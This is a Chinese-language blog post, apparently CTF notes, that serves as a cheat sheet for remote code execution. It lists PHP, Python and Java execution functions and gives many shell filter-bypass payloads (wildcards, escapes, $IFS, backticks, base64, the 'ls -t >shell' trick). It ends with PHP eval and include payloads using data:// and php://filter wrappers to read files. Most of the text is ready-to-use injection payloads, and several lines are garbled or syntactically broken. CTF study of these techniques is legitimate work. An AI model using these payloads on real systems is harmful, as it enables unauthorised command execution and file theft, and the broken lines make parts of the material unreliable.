RCE

本文最后更新于 2025年4月28日 晚上

RCE

php代码执行函数

eval()、assert()、pre_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

php命令执行函数

system()、exec()(需要echo配合)、shell_exec()(需要echo配合)、pcntl_exec()、popen()、proc_popen()、passthru()、等

python

eval、exec、subprocess os.system commands

Java

Java 中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SEI、MVEL等

通配符

1
2
flag=fl* 
cat ?la*(?是占位符)

转义符

1
2
ca\t fl\ag
cat fl''ag

空变量

1
2
3
4
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t fl$5ag
c${2}at f${2}lag

拼接法

1
a=fl;b=ag;cat$IFS$a$b

反引号

1
cat `ls`

编码

1
2
echo 'flag' | base64 
cat `echo ZmxhZwo=` | base64 -d`

组合绝技

1
2
3
4
5
6
7
8
9
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
ls -t 是将文本按时间排序输出
ls -t >shell 将输出输入到shell 文件中
sh 将文本的文字读取出来执行

过滤执行命令(如 at tac 等)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
more:一页一页的显示档案内容
less:与more 类似head:查看头几行
tac:从最后一行开始显示,可以看出tac是cat的反向显示tail:查看尾几行
n1:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>号261 //报错出文件内容
curl file:///root/f/flag
strings flag
unig -c flag
bash -v flag
rev flag

空格

1
url %09、${IFS}、$IFS$、{cat,flag}

无回显

1.写个文件访问

2.dnslog外带

嵌套变量

1
eval ($_GET[1]);&1=system('system(tac flag.php)');
1
2
include$ GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$ GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

RCE
http://example.com/2025/04/24/RCE/
作者
清风
发布于
2025年4月24日
许可协议